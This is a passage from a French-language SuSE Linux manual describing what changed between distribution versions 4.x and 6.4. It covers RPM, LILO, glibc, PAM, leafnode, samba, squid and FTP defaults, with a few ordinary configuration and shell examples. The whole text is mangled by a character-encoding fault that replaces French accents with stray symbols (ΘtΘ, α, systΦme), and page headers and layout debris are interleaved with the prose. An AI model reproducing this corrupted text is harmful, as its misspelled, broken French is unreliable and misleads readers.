  26166.                            IndΘpendamment d'une actualisation globale, vous pouvez bien s√r actualiser
  26167.                            α tout moment des paquetages dΘterminΘs.
  26168.  
  26169.                            Dans la sΘlection des paquetages de YaST  (voir paragraphe 3.4.3 page 95),
  26170.                            vous pouvez vous en donner α coeur joie. Si vous sΘlectionnez pour la mise α
  26171.  
  26172.  
  26173. 406
  26174.        _______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
  26175.  *______________________
  26176.  
  26177.  
  26178.  
  26179. jour un paquetage qui joue un r⌠le primordial dans le fonctionnement du sys-
  26180. tΦme, YaST  vous avertira. De tels paquetages devraient Ωtre actualisΘs dans
  26181. un mode de mise α jour spΘcial. Par exemple, un grand nombre de paquetages
  26182. contiennent des ``bibliothΦques partagΘes'' et il est possible qu'elles soient uti-
  26183. lisΘes au moment de la mise α jour par des processus en cours. Une mise α
  26184. jour dans le systΦme en marche aurait alors pour consΘquence que ces pro-
  26185. grammes ne pourraient plus tourner correctement.
  26186.  
  26187.  
  26188.  
  26189. 15.2        D'une version α l'autre
  26190.  
  26191. Dans les paragraphes suivants, nous tentons de faire la liste des dΘtails qui ont
  26192. ΘtΘ modifiΘs d'une version α l'autre. Cet aperτu vous montre par exemple si
  26193. des configurations essentielles ont ΘtΘ refaites, si des fichiers de configuration
  26194. ont ΘtΘ dΘplacΘs ou si des programmes connus de longue date se comportent
  26195. maintenant  de  faτon  diffΘrente.  Cette  liste  n'est  pas  exhaustive  car  elle  ne
  26196. contient que ce qui concerne directement l'utilisateur ou l'administrateur dans
  26197. son travail quotidien. Nous attirerons ensuite votre attention sur la SDB (base
  26198. de donnΘes support de SuSE) contenue aussi dans le paquetage sdb_en, sΘrie
  26199. doc (voir paragraphe 1.4.1 page 7).
  26200.  
  26201. Les  particularitΘs  des  diffΘrentes  versions  ainsi  que  les  difficultΘs  qu'elles
  26202. peuvent  engendrer  sont  prΘsentΘes  sur  le  serveur  WWW  dΦs  que  ces  in-
  26203. formations  nous  sont  connues.  Voir  les  liens  mentionnΘs  ci-dessous.  Des
  26204. mises α jour importantes de diffΘrents paquetages sont accessibles sous http:
  26205. //www.suse.de/en/support/download/updates/.
  26206.  
  26207.  
  26208. 15.2.1       De 4.x α 5.0
  26209.  
  26210. ProblΦmes et particularitΘs :
  26211. http://sdb.suse.de/sdb/en/html/maddin_bugs5.html.
  26212.  
  26213.  
  26214.   ~   La gestion des paquetages est passΘe de TGZ α RPM (voir  paragraphe 15.3
  26215.       page 415).
  26216.  
  26217.   ~   Nouveau  Bash  (voir  dans  la  SDB  les  articles  http://sdb.suse.de/
  26218.       sdb/en/html/maddin_bash2.html  et  http://sdb.suse.de/sdb/
  26219.       en/html/maddin_inputrc.html).
  26220.  
  26221.  
  26222. 15.2.2       De 5.0 α 5.1
  26223.  
  26224. ProblΦmes et particularitΘs :
  26225. http://sdb.suse.de/sdb/en/html/maddin_bugs51.html.
  26226.  
  26227.  
  26228.   ~   LILO  1er cas : Les chargeurs any_b.b et any_d.b sont obsolΦtes (voir
  26229.       page 126).
  26230.  
  26231.   ~   LILO  2Φme  cas  :  Si  des  difficultΘs  d'amorτage  surviennent  en  relation
  26232.       avec l'adaptateur h⌠te SCSI Adaptec 2940 (diffΘrents modΦles), l'option
  26233.       linear       ne  devrait  plus  maintenant  Ωtre  placΘe  dans  /etc/lilo.conf
  26234.       (voir page 127).
  26235.  
  26236.   ~   Les logiciels ``optionnels'' (par exemple KDE  ou Applixware ) sont ins-
  26237.       tallΘs sous /opt (voir paragraphe 2.8 page 68).
  26238.  
  26239.  
  26240.                                                                                                                                    *
  26241.  *   407
  26242. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26243.  *_______________________________________@
  26244.  
  26245.  
  26246.  
  26247.                              ~   Les descriptions des paquetages ne sont plus imprimΘes dans le manuel
  26248.                                  pour des raisons de place ; elles se trouvent sur le premier CD : en alle-
  26249.                                  mand sous le nom de pkg_German.dvi et pkg_German.ps et en anglais
  26250.                                  sous le nom de pkg_English.dvi et pkg_English.ps.
  26251.  
  26252.                              ~   L'annexe  ``conditions  matΘrielles''  n'est  plus  incluse  dans  le  manuel.
  26253.                                  Comme  alternative,  vous  trouverez  sur  le  CD  ``la  base  de  donnΘes  des
  26254.                                  composants CDB'' (angl. Components Database). Elle est disponible en
  26255.                                  ligne sous http://cdb.suse.de/.
  26256.  
  26257.                              ~   Les fichiers m4 de Sendmail  se trouvent sous /usr/share/sendmail.
  26258.  
  26259.                              ~   Les  sources  sont  compressΘs  en  tant  que  ``Sources  RPM''  (voir  dans  la
  26260.                                  SDB http://sdb.suse.de/sdb/en/html/ke_source-rpm.html).
  26261.  
  26262.                            15.2.3       De 5.1 α 5.2
  26263.  
  26264.                            ProblΦmes et particularitΘs :
  26265.                            http://sdb.suse.de/sdb/en/html/maddin_bugs52.html.
  26266.  
  26267.                              ~   YaST  : On peut_parvenir_α la sΘrie ALL    α partir de la `SΘlection  des
  26268.                                  sΘries' avec |___F|4(= `Reclassement') (voir paragraphe 3.4.3 page 95).
  26269.  
  26270.                              ~   Les  serveurs  XSuSE  sont  inclus  dans  les  sources  officiels  de  XFree86.
  26271.                                  Vous  utilisez  donc  maintenant  de  nouveau  le  serveur  standard  de  la  sΘ-
  26272.                                  rie x. Exception : XSuSE_Elsa_GLoria (paquetage xglint) pour cartes
  26273.                                  graphiques basΘes sur Glint ou Permedia.
  26274.  
  26275.                              ~   Les serveurs X ne sont plus, pour des raisons de sΘcuritΘ, installΘs suid
  26276.                                  root  (sans  bit  s).  Le  systΦme  X  Window  doit  Ωtre  dΘmarrΘ  soit  par  le
  26277.                                  Xwrapper  via  startx     ,  soit  par  un  gestionnaire  d'affichage  (xdm  ou
  26278.                                  kdm ).
  26279.  
  26280.                              ~   Le wuftpd  est maintenant placΘ, en tant que serveur FTP par dΘfaut, dans
  26281.                                  /etc/inetd.conf  (voir  dans  la  base  de  donnΘes  http://sdb.suse.
  26282.                                  de/sdb/en/html/grimmer_ftpd.html).
  26283.  
  26284.                              ~   Les  options  de  ps   ne  sont  plus  prΘfixΘes  par  `-' ;  modifiez  en  consΘ-
  26285.                                  quence vos scripts de shell (voir dans la base de donnΘes http://sdb.
  26286.                                  suse.de/sdb/en/html/maddin_ps52.html).
  26287.  
  26288.                              ~   SuSEconfig (voir paragraphe 17.5 page 450) comprend quelques options
  26289.                                  qui aident α accΘlΘrer le travail.
  26290.  
  26291.                            15.2.4       De 5.2 α 5.3
  26292.  
  26293.                            ProblΦmes et particularitΘs :
  26294.                            http://sdb.suse.de/sdb/en/html/bugs53.html.
  26295.  
  26296.                              ~   Une premiΦre installation ou une mise α jour de SuSE      Linux se dΘroule
  26297.                                  de faτon ``linΘaire''. Si vous voulez avoir recours α la ``vieille'' mΘthode
  26298.                                  d'installation  qui  vous  laisse  de  nombreuses  possibilitΘs  d'intervention,
  26299.                                  vous devrez choisir, dans l'Θcran d'accueil de YaST , le mode expert (voir
  26300.                                  figure 2.6 page 33).
  26301.  
  26302.                              ~   En plus de la disquette d'amorτage, il vous est proposΘ une image de dis-
  26303.                                  quette modules avec des modules supplΘmentaires. Vous pouvez y avoir
  26304.                                  recours  si  vous  possΘdez  un  matΘriel  ``exotique''.  Voir  paragraphe  16.3
  26305.                                  page 429.
  26306.  
  26307.  
  26308. 408
  26309.        _______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
  26310.  *______________________
  26311.  
  26312.  
  26313.  
  26314.   ~   Tous les serveurs X, classΘs dans un ordre facile α superviser, se trouvent
  26315.       dans  la  sΘrie  xsrv  (X-Server)  et  non  plus  comme  auparavant  dans  la
  26316.       sΘrie x.
  26317.  
  26318.   ~   Pour les cartes et puces graphiques, vous avez α votre disposition les ser-
  26319.       veurs X dΘveloppΘs par SuSE     : XFCom_3DLabs (paquetage x3dlabs ; au-
  26320.       trefois  XSuSE_Elsa_GLoria,  paquetage  xglint),  XFCom_SiS  (paque-
  26321.       tage xsis ; autrefois XSuSE_SiS) et XFCom_Cyrix (paquetage xcyrix).
  26322.  
  26323.   ~   Les personnes souhaitant utiliser les programmes terminaux tels que mi-
  26324.       nicom , seyon , et autres, doivent Ωtre inscrites dans le groupe `uucp'. Voir
  26325.       http://sdb.suse.de/sdb/en/html/ke_terminal-prog.html.
  26326.  
  26327.   ~   Emacs  est  disponible  en  version  20.x.  Il  convient  d'utiliser  les  fichiers
  26328.       de dΘmarrage Θgalement contenus dans /etc/skel. Voir http://sdb.
  26329.       suse.de/sdb/en/html/ke_emacs-update.html.
  26330.  
  26331.   ~   On  a  supprimΘ  du  paquetage  jade_dsl  les  analyseurs  syntaxiques  et
  26332.       les  utilitaires  SGML  qui  ont  ΘtΘ  regroupΘs  dans  un  sous-paquetage  sp
  26333.       autonome.
  26334.  
  26335.   ~   PostgreSQL  (paquetage  postgres)  est  composΘ  de  plusieurs  sous-pa-
  26336.       quetages (angl. subpackages) : Serveur (engine) de la base de donnΘes,
  26337.       initialisation de la base de donnΘes et interfaces.
  26338.  
  26339.  
  26340. 15.2.5       De 5.3 α 6.0
  26341.  
  26342. ProblΦmes et particularitΘs :
  26343. http://sdb.suse.de/sdb/en/html/bugs60.html.
  26344.  
  26345.   ~   Ainsi qu'il est prΘvu dans les sources, le noyau d'amorτage est installΘ
  26346.       dans /boot. Lors de la mise α jour, vous devez veiller α ce que les chemins
  26347.       d'accΦs soient inscrits de faτon correcte dans le fichier /etc/lilo.conf.
  26348.       YaST  vous fait une proposition ~ si vous souhaitez continuer α amorcer
  26349.       le vieux noyau, vous devez intervenir dans la procΘdure de mise α jour et
  26350.       configurer LILO dans ce sens.
  26351.  
  26352.   ~   La bibliothΦque de votre systΦme est maintenant la glibc  (connue aussi
  26353.       sous le nom de libc6). Lors d'une mise α jour des programmes fournis
  26354.       avec SuSE     Linux, vous ne devriez pas en principe rencontrer de difficul-
  26355.       tΘs. Vous devriez recompiler vos propres programmes aprΦs la mise α jour
  26356.       et les lier avec la glibc . Si ce n'est pas possible ~ parce que vous ne dispo-
  26357.       sez pas, par exemple, du code source du programme en question ~ vous
  26358.       pouvez rΘgler ce problΦme en installant le paquetage shlibs5 (libc5),
  26359.       ce  qui  permettra  aux  ``vieux''  programmes  de  continuer  α  assumer  leur
  26360.       fonction.
  26361.  
  26362.   ~   Pour les paquetages qui offrent des possibilitΘs Θtendues de configuration,
  26363.       certaines parties de /etc/rc.config ont ΘtΘ transfΘrΘes dans des fichiers
  26364.       du rΘpertoire /etc/rc.config.d
  26365.  
  26366.   ~   cron  est capable d'exΘcuter des scripts dans les rΘpertoires /etc/cron.
  26367.       hourly,   /etc/cron.daily,   /etc/cron.weekly   et   /etc/cron.
  26368.       monthly. La crontab du systΦme dont le nom Θtait /root/bin/cron.
  26369.       daily a ΘtΘ renommΘe pour devenir /etc/cron.daily/aaa_base (voir
  26370.       page 413).
  26371.  
  26372.  
  26373.                                                                                                                                    *
  26374.  *   409
  26375. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26376.  *_______________________________________@
  26377.  
  26378.  
  26379.  
  26380.                              ~   La version courante de teTeX  est disponible avec SuSE      Linux. Comme
  26381.                                  le systΦme TEX est conforme au standard de la hiΘrarchie des systΦmes de
  26382.                                  fichiers, il est nΘcessaire de pouvoir disposer sous /var d'environ 15 Mo
  26383.                                  d'espace disque en supplΘment.
  26384.                                  teTeX  a  ΘtΘ  rΘparti  dans  plusieurs  sous-paquetages      .  Si  quelque  chose
  26385.                                  ``manque'' aprΦs une mise α jour, il est recommandable de vΘrifier, dans la
  26386.                                  sΘrie tex, si tous les paquetages indispensables sont vraiment installΘs.
  26387.  
  26388.                              ~   Les extensionsALTEX, paquetage colortbl et paquetage hyperref, sont
  26389.                                  dΘsormais incluses dans teTeX  et ne sont plus proposΘes sΘparΘment.
  26390.  
  26391.                              ~   C  News  est  ΘliminΘ  de  la  distribution.  Pendant  la  pΘriode  de  transi-
  26392.                                  tion, vous pourrez encore trouver le paquetage cnews sur le CD 1 sous
  26393.                                  unsorted/. └ long terme, il serait opportun d'envisager un passage au
  26394.                                  paquetage inn ou au paquetage leafnode.
  26395.  
  26396.                              ~   Les  fichiers  de  configuration  de  UUCP  sont  situΘs  dans  le  rΘpertoire
  26397.                                  /etc/uucp.
  26398.  
  26399.                              ~   Les feuilles de style DocBook  peuvent maintenant Ωtre trouvΘes sΘparΘ-
  26400.                                  ment dans le paquetage docbkdsl de la sΘrie sgm.
  26401.  
  26402.  
  26403.                            15.2.6       De 6.0 α 6.1
  26404.  
  26405.                            ProblΦmes et particularitΘs :
  26406.                            http://sdb.suse.de/sdb/en/html/bugs61.html.
  26407.  
  26408.                              ~   Le CD-ROM contenant le ``systΦme de fichiers live'' ne fait plus partie de
  26409.                                  la distribution. Vous pouvez l'obtenir sΘparΘment contre versement d'une
  26410.                                  redevance.  Vous  trouverez  des  dΘtails  techniques  concernant  ce  CD  au
  26411.                                  paragraphe 3.6.4 page 108.
  26412.  
  26413.                              ~   Vous  trouverez  d'autres  pilotes,  Θventuellement  nΘcessaires  lors  d'une
  26414.                                  premiΦre  installation  ou  d'une  mise  α  jour  (lecteurs  de  CD-ROM  pro-
  26415.                                  priΘtaires, lecteurs sur port parallΦle, PCMCIA) sur la disquette modules
  26416.                                  fournie en supplΘment. linuxrc vous demandera en temps voulu d'insΘrer
  26417.                                  cette disquette (paragraphe 2.2.3 page 29).
  26418.  
  26419.                              ~   L'``interface  standard''  pour  l'impression  par  port  parallΦle  est,  pour  le
  26420.                                  noyau 2.2.x, /dev/lp0 (voir paragraphe 12.1 page 333).
  26421.  
  26422.  
  26423.                            15.2.7       De 6.1 α 6.2
  26424.  
  26425.                            ProblΦmes et particularitΘs :
  26426.                            http://sdb.suse.de/sdb/en/html/bugs62.html.
  26427.  
  26428.                              ~   rpm  (voir  aussi  paragraphe  15.3  page  415)  est  fourni  en  version  3.0  et
  26429.                                  le  format  de  la  base  de  donnΘes  RPM  demeure  inchangΘ.  La  base  de
  26430.                                  donnΘe  doit  Ωtre  convertie  immΘdiatement  aprΦs  installation  de  rpm .  Si
  26431.                                  vous effectuez avec YaST une mise α jour rΘguliΦre du systΦme (de base),
  26432.                                  la conversion se fera en arriΦre-plan au moment opportun.
  26433.  
  26434.                              ~   La bibliothΦque systΦme glibc  est maintenant disponible en version 2.1.
  26435.                                  Dans la mesure du possible, nous fournissons aussi des composants qui
  26436.                                  permettent  de  continuer  α  exΘcuter  des  programmes  compilΘs  pour  la
  26437.                                  glibc -2.0. Il existe cependant des limites qui se font ressentir lorsque l'on
  26438.  
  26439.  
  26440. 410
  26441.        _______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
  26442.  *______________________
  26443.  
  26444.  
  26445.  
  26446.       tente d'accΘder α certains symboles internes. En consΘquence, vous de-
  26447.       vriez toujours recompiler vos propres programmes.
  26448.   ~   nscd (angl. Name Service Cache Daemon), configurΘ au moyen du fichier
  26449.       /etc/nscd.conf, dΘpend aussi de la glibc . Voir la page de man de nscd
  26450.       (man  8  nscd       ).
  26451.  
  26452.   ~   Avec la glibc -2.1, le passage aux fichiers de pΘriphΘriques ``Unix98 PTY''
  26453.       est maintenant complet ce qui implique que le systΦme de fichiers devpts
  26454.       doit aussi Ωtre montΘ. Ceci est assurΘ par exemple par l'entrΘe suivante
  26455.       dans le fichier /etc/fstab :  none       /dev/pts       devpts       gid=5,mode=620       0  0
  26456.       Voir  aussi  la  documentation  dans  /usr/src/linux/Documentation/
  26457.       Changes dans les sources du noyau.
  26458.  
  26459.   ~   PAM  (angl.  Pluggable  Authentication  Modules)  :  En  plus  de  /etc/
  26460.       login.defs, il existe maintenant /etc/securetty, /etc/security/
  26461.       limits.conf et /etc/security/pam_env.conf (voir page 112).
  26462.  
  26463.   ~   Les  configurations  concernant  la  langue  peuvent  Ωtre  faites  au  moyen
  26464.       de  variables  dans  le  fichier  /etc/rc.config  (voir  paragraphe  78
  26465.       page 452 ainsi que http://sdb.suse.de/sdb/en/html/ml_locale_
  26466.       implementation.html. Si vous ne souhaitez pas recevoir les messages
  26467.       en franτais, vous pouvez entrer directement, par exemple dans .bashrc :
  26468.       export  LANG=C
  26469.  
  26470.  
  26471.   ~   Pour un bon nombre de logiciels, les composants nΘcessaires au dΘvelop-
  26472.       pement (bibliothΦques, fichiers d'en-tΩtes et include, etc.) ont ΘtΘ transfΘ-
  26473.       rΘs dans des paquetages sΘparΘs. Ceci s'Θtait dΘjα produit dans des ver-
  26474.       sions  antΘrieures.  Ces  paquetages  de  dΘveloppement  ne  vous  sont  nΘ-
  26475.       cessaires que si vous souhaitez compiler vous-mΩme des logiciels ~ par
  26476.       exemple des paquetages GNOME rΘcents. Il est normalement possible de
  26477.       reconnaεtre de tels paquetages de dΘveloppement α l'extension dev    ou d
  26478.       qui suit leur nom : paquetage xformsd, paquetage glibndev, paquetage
  26479.       gtkndev, paquetage imlibdev, paquetage gnlibsd, etc.
  26480.  
  26481. 15.2.8       De 6.2 α 6.3
  26482.  
  26483. ProblΦmes et particularitΘs :
  26484. http://sdb.suse.de/sdb/en/html/bugs63.html.
  26485.  
  26486.   ~   Il est proposΘ des noyaux optimisΘs de maniΦre diffΘrente que vous pou-
  26487.       vez  installer.  Ces  noyaux  utilisent  ``initrd''  (angl.  Initial  Ramdisk).  Lors
  26488.       de  la  crΘation  de  votre  propre  noyau,  vous  devez  tenir  compte  de  cette
  26489.       condition accessoire. Voir paragraphe 16.2.5 page 427 et http://sdb.
  26490.       suse.de/sdb/en/html/adrian_6.3_boot.html
  26491.  
  26492.   ~   Le nom du fichier de configuration pour les modules du noyau est /etc/
  26493.       modules.conf (autrefois : /etc/conf.modules).
  26494.  
  26495.   ~   Outre  le  dΘmon  NFS  ``Userspace''  (paquetage  nfsserv),  il  existe  aussi
  26496.       un  dΘmon  NFS  du  noyau  (paquetage  knfsd).  Les  fonctions  de  knfsd
  26497.       semblent assez limitΘes mais il maεtrise le verrouillage des fichiers qui est
  26498.       indispensable, par exemple, α StarOffice . Positionnez USE_KERNEL_NFSD
  26499.       ou NFS_SERVER          dans /etc/rc.config et installez le paquetage qui rΘ-
  26500.       pond α vos besoins.
  26501.  
  26502.  
  26503.                                                                                                                                    *
  26504.  *   411
  26505. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26506.  *_______________________________________@
  26507.  
  26508.  
  26509.  
  26510.                              ~   Les  +  pages  de  man  se  trouvent  sous  /usr/share/man  ainsi  que
  26511.                                  le  requiert  le  FHS  (angl.  Filesystem  Hierarchy  Standard)  (voir  para-
  26512.                                  graphe 16.1 page 423).
  26513.  
  26514.                              ~   Certains paquetages ont ΘtΘ retirΘs de la distribution :
  26515.  
  26516.                                  ~   paquetage  gnuhtml  :  obsolΦte ;  on  peut  obtenir  les  documents  Info
  26517.                                      actuels au format HTML α travers le systΦme d'aide SuSE     (voir para-
  26518.                                      graphe 16.4 page 435).
  26519.  
  26520.                                  ~   paquetage glimpse : une ancienne version se trouve dans le rΘpertoire
  26521.                                      /unsorted du CD 1. Pour des raisons de copyright, nous ne pouvons
  26522.                                      pas fournir la plus rΘcente version avec SuSE     Linux.
  26523.  
  26524.                                  ~   paquetage lxpoint :
  26525.  
  26526.                              ~   Tcl/Tk  est proposΘ dans des versions rΘcentes avec de nouvelles descrip-
  26527.                                  tions de paquetages. Tcl/Tk  8.0 est la version standard.
  26528.  
  26529.                              ~   OSS  (angl. Open Sound System) est disponible pour machines multipro-
  26530.                                  cesseurs. Il s'agit, pour Ωtre plus prΘcis, du paquetage opso et du paque-
  26531.                                  tage opsod_up ainsi que du paquetage opso_smp et du paquetage op-
  26532.                                  sodsmp. Voir http://sdb.suse.de/sdb/en/html/oss-smp.html.
  26533.  
  26534.                              ~   La configuration de sendmail  a ΘtΘ dΘplacΘe du fichier /etc/rc.config
  26535.                                  vers  le  fichier.  Voir  http://sdb.suse.de/sdb/en/html/mneden_6.
  26536.                                  3_sendmail.html. /etc/rc.config.d/sendmail.rc.config
  26537.  
  26538.                              ~   Pour  des  raisons  de  sΘcuritΘ,  WU-FTPD  (paquetage  wuftpd,  sΘrie  n)
  26539.                                  n'est plus installΘ lors de la sΘlection standard.
  26540.  
  26541.                              ~   └ partir de la version 1.9.2 de leafnode , le rΘpertoire des fichiers de confi-
  26542.                                  guration  a  ΘtΘ  changΘ.  Ces  fichiers  se  trouvent  maintenant  sous  /etc/
  26543.                                  leafnode et non plus sous /usr/lib/leafnode.
  26544.                                  Si  vous  avez  modifiΘ  votre  fichier  de  configuration,  la  copie  de  sauve-
  26545.                                  garde se trouve sous /usr/lib/leafnode/config.rpmsave. Reprenez
  26546.                                  manuellement vos modifications dans le nouveau fichier de configuration.
  26547.                                  Attention  :  Si  vous  effectuez  une  mise  α  jour  α  partir  d'une  ancienne
  26548.                                  version (antΘrieure α 1.9.3), exΘcutez tout d'abord le script shell /usr/
  26549.                                  doc/packages/leafnode/update.sh :
  26550.                                  terre:  #  cd  /usr/doc/packages/leafnode
  26551.                                  terre:/usr/doc/packages/leafnode  #  ./update.sh  \
  26552.                                  /var/spool/news/  /etc/leafnode  /var/lock/news/fetchnews.lck
  26553.  
  26554.                                  L'organisation  du  fichier  groupinfo  et  de  quelques  autres  fichiers  se
  26555.                                  trouve ainsi modifiΘe (groupinfo n'est plus classΘ en tenant compte de
  26556.                                  la casse des lettres. Si quelque chose ne fonctionne pas, vous trouverez
  26557.                                  le vieux fichier sous /var/spool/news/leaf.node/groupinfo.old.
  26558.                                  Lorsque  le  script  aura  ΘtΘ  exΘcutΘ  avec  succΦs,  vous  pourrez  effacer  ce
  26559.                                  fichier (.old).
  26560.                                  Remarque : Depuis la version 1.9.3, le programme /usr/sbin/fetch               a
  26561.                                  pour  nom  /usr/sbin/fetchnews                 .  Vous  devez  donc  modifier  dans  ce
  26562.                                  sens  les  ``cronjobs''  et  divers  scripts  tels  que  par  exemple  /etc/ppp/
  26563.                                  ip-up.
  26564.                                  Pour l'installation de leafnode voir paragraphe 6.9 page 208.
  26565.  
  26566.  
  26567. 412
  26568.        _______________________________________________________________________________________15.2.__D'une_version_α_l'autre_______*
  26569.  *______________________
  26570.  
  26571.  
  26572.  
  26573.   ~   MySQL tourne sous l'UID `mysql' et le GID `daemon' afin de garantir
  26574.       une plus grande sΘcuritΘ.
  26575.  
  26576.   ~   Fortify  se trouve sous /opt/fortify et peut Ωtre dΘsinstallΘ aprΦs utili-
  26577.       sation.
  26578.  
  26579.  
  26580. 15.2.9       De 6.3 α 6.4
  26581.  
  26582. ProblΦmes et particularitΘs :
  26583. http://sdb.suse.de/sdb/en/html/bugs63.html.
  26584.  
  26585.  
  26586.   ~   Noyau : Le paquetage kernmod et le paquetage kernmods ne sont plus in-
  26587.       dispensables. Les modules du noyau optimisΘs sont installΘs, ``du mΩme
  26588.       coup'',  avec  le  noyau  sΘlectionnΘ  (voir  3.6.2  page  104).  Les  fichiers  de
  26589.       configuration  du  noyau  installΘ  sont  situΘs  dans  /boot  sous  les  noms
  26590.       de  vmlinuz.config-pentium  (exemple !),  vmlinuz.autoconf.h  et
  26591.       vmlinuz.version.h. Si vous le dΘsirez, YaST  copiera ces fichiers dans
  26592.       l'arborescence des sources du noyau.
  26593.  
  26594.   ~   Inscrivez des shells de login valides dans le fichier /etc/shells. Voir la
  26595.       refman[5]shells. S'il est assignΘ /bin/true          α un utilisateur, celui-ci ne
  26596.       pourra se connecter que par le biais du systΦme X Window. Il n'aura pas
  26597.       de shell. /bin/false          comme ``shell de login'' empΩche toute connexion.
  26598.  
  26599.   ~   paquetage aaa_base : Les tΓches quotidiennes de maintenance du sys-
  26600.       tΦme ont ΘtΘ rΘparties entre plusieurs scripts pour rendre les choses plus
  26601.       claires. Dans /etc/cron.daily, il existe maintenant, en plus de aaa_
  26602.       base,  les  composants  backup_rpmdb,  clean_catman,  clean_core,
  26603.       clean_instlog,  clean_tmp,  do_mandb,  rotate_logs  et  updatedb
  26604.       ~  reconnaissables  α  leur  prΘfixe  aaa_base_.  Outre  cela,  aaa_base  lit
  26605.       cron.daily.local  dans  lequel  vous  pouvez  ajouter  vos  propres  ex-
  26606.       tensions. Au sujet du systΦme cron , reportez-vous au paragraphe 16.6.1
  26607.       page 442.
  26608.  
  26609.   ~   Une version plus rΘcente de tar (tar   ) est fournie. Le programme se com-
  26610.       porte diffΘremment lors du remplacement des donnΘes lorsque les fichiers
  26611.       sont  extraits.  Si  l'ancien  mode  vous  est  indispensable,  utilisez  l'option
  26612.       --overwrite          .
  26613.  
  26614.   ~   Presque tous les programmes contenus dans le paquetage nkita et le pa-
  26615.       quetage nkitb se prΘsentent dans une nouvelle version. traceroute  a ΘtΘ
  26616.       transfΘrΘ dans le paquetage nkitb. Certains programmes sont dΘjα ``prΩts
  26617.       α affronter IPv6''. Vous devez donc veiller α ce que le DNS soit correc-
  26618.       tement configurΘ ~ sinon il peut arriver qu'il soit nΘcessaire d'attendre le
  26619.       timeout du DNS pour les requΩtes IPv6.
  26620.  
  26621.   ~   paquetage samba : Avec la mise α jour vers la version 2.0.6, la syntaxe de
  26622.       la commande smbmount        a ΘtΘ modifiΘe ! smbmount        doit Ωtre invoquΘ par
  26623.       le script shell /sbin/mount.smbfs                 qui doit lui-mΩme Ωtre invoquΘ par
  26624.       mount    . Exemple de commande :
  26625.       terre:  #  mount  -t  smbfs  -o  username=uname,password=passwd  \
  26626.                    //smbserv/share  /destination
  26627.   ~   paquetage postfix : De nouvelles possibilitΘs de configuration sont ve-
  26628.       nues s'ajouter. Les variables de dΘmarrage ont ΘtΘ transfΘrΘes dans /etc/
  26629.  
  26630.  
  26631.                                                                                                                                    *
  26632.  *   413
  26633. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26634.  *_______________________________________@
  26635.  
  26636.  
  26637.  
  26638.                                  rc.config.d/postfix.rc.config.   Voir   aussi   le   paragraphe   17.5
  26639.                                  page 450.
  26640.  
  26641.                              ~   Le paquetage squid, c'est-α-dire la version 1 du serveur proxy WWW,
  26642.                                  n'est plus inclus. Comme on peut considΘrer comme stable la version 2.x
  26643.                                  qui s'est maintenant Θtablie, il est conseillΘ de l'adopter. Pendant la mise
  26644.                                  α  jour,  le  paquetage  squid  n'est  pas  remplacΘ  automatiquement  par  le
  26645.                                  paquetage  squid2.  Sauvegardez  l'ancien  fichier  de  configuration,  dΘs-
  26646.                                  installez  ensuite  le  paquetage  squid  et  installez  le  paquetage  squid2.
  26647.                                  Vous  pouvez  maintenant  dΘmarrer  avec  les  nouveaux  fichiers  et  refaire
  26648.                                  vos propres modifications ~ vous trouverez un complΘment d'information
  26649.                                  sous http://squid.nlanr.net.
  26650.  
  26651.                              ~   Le client DHCP recommandΘ est contenu dans le paquetage dhcpcd. Le
  26652.                                  paquetage dhclient continue α Ωtre fourni pour certains cas particuliers.
  26653.  
  26654.                              ~   Pour  des  raisons  de  sΘcuritΘ,  l'accΦs  FTP  anonyme  n'est  plus  autorisΘ
  26655.                                  automatiquement.  Pour  qu'avec  le  dΘmon  FTP  in.ftpd        l'accΦs  ano-
  26656.                                  nyme FTP soit autorisΘ, le caractΦre de commentaire `#' doit Ωtre sup-
  26657.                                  primΘ devant la ligne :
  26658.  
  26659.                                  auth       sufficient         /lib/security/pam_ftp.so
  26660.  
  26661.  
  26662.  
  26663.                              ~   Modification du mot de passe avec PAM (angl. Pluggable Authentication
  26664.                                  Modules) : pam_unix        peut aussi modifier des mots de passe NIS et inter-
  26665.                                  prΦte les ``hashes'' md5    comme Θtant un mot de passe. Attention ~ voir le
  26666.                                  paragraphe 3.6.7 page 112.
  26667.  
  26668.                                  Il existe maintenant aussi un nouveau module pam_pwcheck           qui se charge
  26669.                                  de la vΘrification des nouveaux mots de passe. L'ancienne entrΘe
  26670.  
  26671.                                  password  required     /lib/security/pam_unix.so       #strict=false
  26672.  
  26673.  
  26674.                                  doit Ωtre modifiΘe ~ en une seule ligne, ou avec une barre oblique inversΘe
  26675.                                  (\) en fin de ligne :
  26676.                                  password  required     /lib/security/pam_pwcheck.so  \
  26677.                                                                    nullok  #use_cracklib
  26678.                                  password  required     /lib/security/pam_unix.so       \
  26679.                                                                    nullok  use_first_pass  use_authtok
  26680.  
  26681.                                  Cette intervention manuelle n'est indispensable que dans le cas o∙ rpm
  26682.                                  ne  peut  pas  modifier  lui-mΩme  les  fichiers  de  configuration  pendant  la
  26683.                                  mise α jour du fait que l'administrateur systΦme y a apportΘ ses propres
  26684.                                  modifications. Ceci s'applique aussi α tous les fichiers de configuration de
  26685.                                  PAM sous /etc/pam.d.
  26686.  
  26687.                              ~   En plus des +  pages de man (voir paragraphe 15.2.8 page 412), il existe
  26688.                                  aussi des pages d'info sous /usr/share.
  26689.  
  26690.                              ~   makewhatis          (paquetage  makewhat)  utilise  maintenant  le  programme
  26691.                                  manpath       pour trouver les pages de manuel. La variable d'environnement
  26692.                                  MANPATH ne doit plus Ωtre positionnΘe dans les fichiers rc.
  26693.  
  26694.                              ~   ldconfig        n'est  invoquΘ  que  lorsqu'un  rΘpertoire  /lib  est  plus  rΘcent
  26695.                                  que /etc/ld.so.cache. Il est lancΘ le cas ΘchΘant en arriΦre-plan. Le
  26696.                                  lancement  de  ldconfig        peut  Ωtre  forcΘ  si  la  variable  d'environnement
  26697.  
  26698.  
  26699. 414
  26700.        ____________________________________15.3.__RPM_~_Le_gestionnaire_de_paquetages_de_la_distribution___________________________*
  26701.  *______________________
  26702.  
  26703.  
  26704.  
  26705.       run_ldconfig  est  positionnΘe  α  true   .  Il  est  dΘjα  possible,  α  l'invite
  26706.       d'amorτage, de positionner "run_ldconfig=true"                 .
  26707.  
